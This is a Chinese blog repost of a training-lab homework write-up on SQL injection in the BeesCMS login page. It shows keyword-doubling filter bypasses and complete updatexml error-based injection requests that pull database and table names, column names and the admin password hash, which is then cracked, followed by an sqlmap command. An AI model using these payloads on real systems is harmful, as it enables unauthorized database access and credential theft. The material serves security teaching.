首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

BeesCMS的SQL注入漏洞

本文作者:arakh(MS08067实验室Web安全攻防知识星球学员)

根据星球布置作业,完成BeesCMS的SQL注入漏洞过程如下:

1. 扫描后台

获得后台登陆地址:

2. 登陆后台,发现存在SQL报错,而且同一个验证码可以重复提交 使用

3. 由于有报错信息,尝试使用联合查询或是报错注入

测试发现,sql语句过滤了 and  select 等号 等符号。等号用like替 代, and 用  an and d 替代, select 用 seleselectct替代 , from 用 fro from m替代,

where用wh where ere替代

因为注入的页面为登陆页面,即使union查询的语句语法正确了,也 无法获得回显,因此考虑使用报错注入

4. 报错注入

// 查询数据库版本:

user=admin' a and nd

updatexml(1,concat(0x7e,version(),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~5.5.53~'

// 查询当前用户

user=admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~root@localhost~'

// 查询当前数据库

user=admin' a and nd

updatexml(1,concat(0x7e,database(),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~beescms~'

// 查询当前表名

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om

information_schema.tables whe where re table_schema like

database()),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error:

'~bees_admin,bees_admin_group,bee'

发现输出字符串长度被限制了,使用截取字符串函数,测试发现每次 输出多为32个字符,所以需要不断变换截取字符的起始位置来获得 所有表的名称

user=admin' a and nd

updatexml(1,concat(0x7e,substr((selselectect

group_concat(table_name) fr from om

information_schema.tables whe where re table_schema like

database()),1,32),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

user=admin' a and nd

updatexml(1,concat(0x7e,substr((selselectect

group_concat(table_name) fr from om

information_schema.tables whe where re table_schema like

database()),32,64),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

// 查询bees_admin表中的列名

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fr from om

information_schema.columns whe where re table_schema like

database() a and nd table_name like 'bees_admin'),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error:

'~id,admin_name,admin_password,ad'

同样存在字符串输出长度限制,需要使用substr()函数进行截取。

// 获取字段内容

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om

beescms.bees_admin),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~admin~'

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect

admin_password fr from om beescms.bees_admin wh where ere

admin_name like 'admin'),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'

user=admin' a and nd

updatexml(1,concat(0x7e,substr((selselectect admin_password fr

from om beescms.bees_admin wh where ere admin_name like

'admin'),24,64),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~e4a801fc3~'

拼凑后的md5值:21232f297a57a5a743894a0e4a801fc3

解密 后:admin

5. SQLMap

C:\Users\Administrator\Desktop\sqlmap>sqlmap.py -r bees.log -p "user"

枚举表名的过程失败

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20200806A0VWSB00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券